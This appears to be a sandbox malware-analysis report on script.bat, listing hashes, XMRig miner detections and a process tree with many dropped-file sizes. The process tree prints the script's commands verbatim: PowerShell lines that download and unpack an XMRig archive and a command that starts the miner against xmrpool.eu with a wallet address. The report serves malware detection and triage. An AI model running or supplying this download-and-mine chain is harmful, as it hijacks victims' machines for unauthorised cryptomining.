Analysis
-
max time kernel
893s -
max time network
880s -
platform
windows10-2004_x64 -
resource
win10v2004-20250313-en -
resource tags
-
submitted
28/03/2025, 10:08
General
-
Target
script.bat
-
Size
793B
-
MD5
f29c7cf031f619739012fdbfa95bba54
-
SHA1
ccddd138b2e91a4da65da97ec11f2dc661782e60
-
SHA256
5e45e7089ffaee30e35a4b61eb918255fbd60c8876956c039165c89a45b51717
-
SHA512
1eaff6b177df441c856001e7b1367bc6697552f52249df64531d7eaa6ce5c3b05acfb8b6df791370acc7516cdc798b629693f3ce0b26062998ccd7fb558386e5
Malware Config
Signatures
-
XMRig Miner payload 64 IoCs
-
Xmrig family
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Blocklisted process makes network request 2 IoCs
-
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Powershell Invoke Web Request.
-
Executes dropped EXE 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
-
Suspicious use of AdjustPrivilegeToken 4 IoCs
-
Suspicious use of FindShellTrayWindow 1 IoCs
-
Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\script.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Invoke-WebRequest -Uri 'https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-gcc-win64.zip' -OutFile 'C:\Users\Admin\Downloads\xmrig.zip'"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Expand-Archive -Path 'C:\Users\Admin\Downloads\xmrig.zip' -DestinationPath 'C:\Users\Admin\Downloads\xmrig' -Force"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\Downloads\xmrig\xmrig-6.22.2\xmrig.exexmrig.exe -o xmrpool.eu:3333 -u 48iBkXw7ciAGbjhPdopSM8JtQy2rAx7MZgX2xbf6Sx3oASN6kAQo6nWYDwmDk6kmYPeVRPi8p1KUUGnp6T3Csuge8aPMtYS -p device32⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD52f57fde6b33e89a63cf0dfdd6e60a351
SHA1445bf1b07223a04f8a159581a3d37d630273010f
SHA2563b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA51242857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
-
Filesize
1KB
MD5a0734be2e52e40ef683c72f8ca45f638
SHA132f09ab22da7ea7e37610f20bb55218d3210e11d
SHA256c859cc6dfa6ca1fb550a424a1f1088ccb84c3f908371dbf674786be6646bec2f
SHA51221d1f08d7ace4eed11323491e9b19d20daa51605801f4c09e6e41ed7d912aefcc51be7fafdb5995f036796f2c3c0a6ee9436bdd4723775f122ca4ff1b823eb14
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
3.6MB
MD55e48d84b33cc0ca0cdb29b03a875fd3a
SHA1597660c787259fad45f0e69cbb64fb781333c598
SHA25653b37a734ab27bb40626c6434029defbebe8470f2d89b97e7ce85b40c9a3b05f
SHA512a8a3d14a0ffb27fbc1a3e73c3e8dd2d0d7a35e9dc89eb14d9704d75cc9f424c539c042ae71c56197a90915a44fc19f4942c27b87aa0feae339b15a2853fdd3a8
-
Filesize
9.1MB
MD5cb166d49ce846727ed70134b589b0142
SHA18f5e1c7792e9580f2b10d7bef6dc7e63ea044688
SHA25649da580656e51214d59702a1d983eff143af3560a344f524fe86326c53fb5ddb
SHA512a39bd86a148af26fd31a0d171078fb7bce0951bb8ea63658d87f6bde97dbc214c62e8bd7152d1e621051de8a0ba77ffd7bda7c1106afb740584c80e68e1912ed
-
Filesize
10.8MB
-
Filesize
10.8MB
-
Filesize
10.8MB
-
Filesize
10.8MB
-
Filesize
10.8MB
-
Filesize
72KB
-
Filesize
40KB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
128KB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
12.2MB
-
Filesize
10.8MB
-
Filesize
8KB
-
Filesize
136KB
-
Filesize
10.8MB
-
Filesize
8KB
-
Filesize
10.8MB
-
Filesize
10.8MB